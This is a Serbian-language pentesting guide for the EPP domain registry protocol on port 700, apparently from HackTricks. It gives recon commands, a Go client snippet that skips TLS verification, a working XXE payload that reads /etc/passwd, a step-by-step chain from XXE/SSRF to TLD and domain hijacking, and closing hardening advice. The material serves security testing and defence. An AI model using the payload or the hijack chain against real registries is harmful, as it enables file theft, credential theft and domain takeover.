116 lines
5.8 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 700 - Pentesting EPP
{{#include ../banners/hacktricks-training.md}}
## Osnovne informacije
Extensible Provisioning Protocol (EPP) je mrežni protokol koji se koristi za **upravljanje domenima i drugim internet resursima** od strane registara domena i registrara. Omogućava automatizaciju procesa registracije, obnavljanja, prenosa i brisanja domena, osiguravajući standardizovan i siguran komunikacioni okvir između različitih entiteta u sistemu domena (DNS). EPP je dizajniran da bude fleksibilan i proširiv, omogućavajući dodavanje novih funkcija i komandi kako se potrebe internet infrastrukture razvijaju.
U suštini, to je jedan od protokola koje **TLD registrar nudi registrarima domena** za registraciju novih domena u TLD.
### Pentest
[**U ovom veoma interesantnom članku**](https://hackcompute.com/hacking-epp-servers/) možete videti kako su neki istraživači bezbednosti otkrili da su nekoliko **implementacija ovog protokola** bile ranjive na XXE (XML External Entity) jer ovaj protokol koristi XML za komunikaciju, što bi omogućilo napadačima da preuzmu desetine različitih TLD-ova.
---
## Enumeracija i Recon
EPP serveri gotovo uvek slušaju na TCP `700/tcp` preko TLS-a. Tipična implementacija takođe sprovodi **uzajamni TLS (mTLS)**, tako da klijent mora da predstavi važeći sertifikat koji je izdao CA registra. Ipak, mnoge privatne testne ili pre-produkcijske implementacije zaboravljaju tu kontrolu:
```bash
# Banner-grabbing / TLS inspection
nmap -p700 --script ssl-cert,ssl-enum-ciphers <target>
# Check if mTLS is *really* required (it frequently is not!)
openssl s_client -connect <target>:700 -quiet \
-servername epp.test 2>/dev/null | head
```
Ako server ne prekine vezu nakon TLS rukovanja, možete pokušati da pošaljete neautentifikovanu `<hello/>` poruku:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<hello/>
</epp>
```
### Open-source klijenti korisni za testiranje
* **epp-client (Go)** aktivno održavan, podržava TCP/TLS i EPP-over-HTTPS (RFC 8730):
`go install github.com/domainr/epp/cmd/epp@latest`
* **gandi/go-epp** minimalna biblioteka klijenta koja se lako može instrumentisati za fuzzing ili nuclei-stil radne tokove.
* **afq984/php-epp-client** PHP implementacija koju koriste mnogi mali registrari; zgodan cilj za pregled koda.
Primer minimalnog skripta za prijavu+proveru sa Go epp-client:
```go
package main
import (
"github.com/domainr/epp"
"crypto/tls"
)
func main() {
cfg := &tls.Config{InsecureSkipVerify: true}
c, _ := epp.DialTLS("epp.test:700", cfg)
c.Login("CLIENT_ID", "PASSWORD", nil)
resp, _ := c.DomainCheck("example","com")
println(resp)
}
```
---
## Uobičajene slabosti i ranjivosti 2023-2025
| Godina | Komponenta | CWE | Uticaj |
|--------|------------|-----|--------|
| 2023 | CoCCA Registry < 3.5 | CWE-611 XXE | Udaljeno čitanje fajlova i SSRF putem kreiranog `<epp>` payload-a (zakrpa: 2023-11-02) |
| 2024 | FRED EPP Server 2.x | CWE-322 Nedovoljna validacija TLS sertifikata | Zaobilaženje mTLS omogućilo neovlašćen pristup registraru |
| 2025 | Proprietary registrar panel | CWE-306 Nedostajuća autentifikacija za kritičnu funkciju | Tačka odobrenja prenosa domena izložena preko EPP-HTTP mosta |
### XXE / SSRF payload (radi protiv mnogih Java/Spring implementacija)
```xml
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<command>
<check>
<domain:check xmlns:domain="urn:ietf:params:xml:ns:domain-1.0">
<domain:name>&xxe;</domain:name>
</domain:check>
</check>
</command>
</epp>
```
Kada je parser pogrešno konfiguran (`XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES=true`), sadržaj datoteke se vraća unutar `<resData>` strukture.
### Ostala tipična otkrića
1. **Slaba politika kredencijala** EPP prijavne fraze kraće od 8 karaktera; brute-force je često izvodljiv jer specifikacija samo PREPORUČUJE (ne zahteva) ograničavanje brzine.
2. **Nedostajući `registryLock` / `serverUpdateProhibited` status** nakon autentifikacije, napadači mogu odmah ažurirati NS zapise i ukrasti saobraćaj.
3. **Nepotpisane poruke za anketu** neke implementacije još uvek ne potpisuju poruke Q&A anketa, omogućavajući spoofing/phishing operatera registra.
---
## Put napada: Od nule do otmice TLD-a
1. Otkrijte EPP krajnju tačku (često skrivena iza generičkog hosta kao što je `ot&e.<tld>.nic.<cc>`).
2. Iskoristite jednu od gornjih slabosti da dobijete kredencijale na nivou registra (XXE SSRF do IMDSv1, eksfiltracija kredencijala, ili TLS-bypass).
3. Izdajte `<update>` zahteve da promenite `hostObj` zapise domena na servere imenom napadača.
4. (Opcionalno) Podnesite `<transfer>` da prebacite domen na registrar pod kontrolom napadača mnogi registri se još uvek oslanjaju na **jedan auth-code**.
5. Profit: potpuna kontrola DNS zone, mogućnost zahteva TLS sertifikata putem ACME.
---
## Odbrambene mere i učvršćivanje
* Sprovodite **mTLS sa klijent sertifikatima po registru** i pinujte CA registra.
* Postavite `parserFeature secure-processing=true` ili ekvivalentno da ubijete XXE.
* Izvršite **kontinuirano fuzzing** XML parsera (npr. sa `go-fuzz` ili `jazzer` za Java).
* Implementirajte **Registry Lock / server*Prohibited** statuse za domene visoke vrednosti.
* Pratite `poll` red za sumnjive `<transfer>` ili `<update>` komande i obaveštavajte u realnom vremenu.
* ICANN 2024 izmene ugovora o DNS-zloupotrebi zahtevaju od registara da dokažu kontrole brzine i autentifikacije iskoristite ih.
## Reference
* ICANN Savetodavni komitet za bezbednost i stabilnost (SSAC). "SAC118: Posledice neuspeha operatera registra da implementira EPP bezbednosne kontrole". 2024.
* HackCompute "Hacking EPP servera: zloupotreba XXE za otmicu TLD-ova" (2023).
{{#include ../banners/hacktricks-training.md}}